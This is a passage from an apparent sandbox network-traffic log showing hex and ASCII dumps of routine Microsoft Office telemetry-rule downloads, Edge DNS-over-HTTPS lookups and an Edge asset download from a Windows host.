32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018401064BE7A4D</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="63c9197c-eff0-4861-974d-d59bdbbe491f" LicenseID="3252b20c-d425-4711
2024-11-09 21:09:43 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:41 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210941Z-16547b76f7f76p6chC1DFWctqw0000000bsg00000000e6ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210941Z-16547b76f7fknvdnhC1DFWxnys0000000bkg00000000umue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: bdec028e-901e-008f-3a53-3267a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210941Z-15869dbbcc6kg5mvhC1DFW39vn000000020000000000mxhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:41 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:41 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210941Z-16547b76f7fkcrm9hC1DFWxdag0000000brg00000000gyvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:41 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49837	172.64.41.3	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-09 21:09:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-09 21:09:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e00c9080cdee5b9-DFW alt-svc: h3=":443"; ma=86400
2024-11-09 21:09:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 01 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49839	162.159.61.3	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-09 21:09:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-09 21:09:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e00c9080db6e595-DFW alt-svc: h3=":443"; ma=86400
2024-11-09 21:09:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 78 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomxs^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49841	172.64.41.3	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-09 21:09:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-09 21:09:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e00c9080e67eb0a-DFW alt-svc: h3=":443"; ma=86400
2024-11-09 21:09:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom ^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:41 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: b82595e7-001e-002b-6cf8-3099f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210941Z-15869dbbcc6ss7fxhC1DFWq6vs0000000520000000008x63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:41 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49840	13.107.246.45	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:41 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:42 UTC	556	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: efca23cb-901e-0062-69eb-322fdf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210941Z-15869dbbcc6hgzkhhC1DFWgtqs00000002z000000000h37v Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-09 21:09:42 UTC	15828	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-09 21:09:42 UTC	16384	IN	Data Raw: 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db Data Ascii: e\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-09 21:09:42 UTC	16384	IN	Data Raw: 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'
2024-11-09 21:09:42 UTC	16384	IN	Data Raw: 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 84 fb 4f 5b 04 9b a8 Data Ascii: 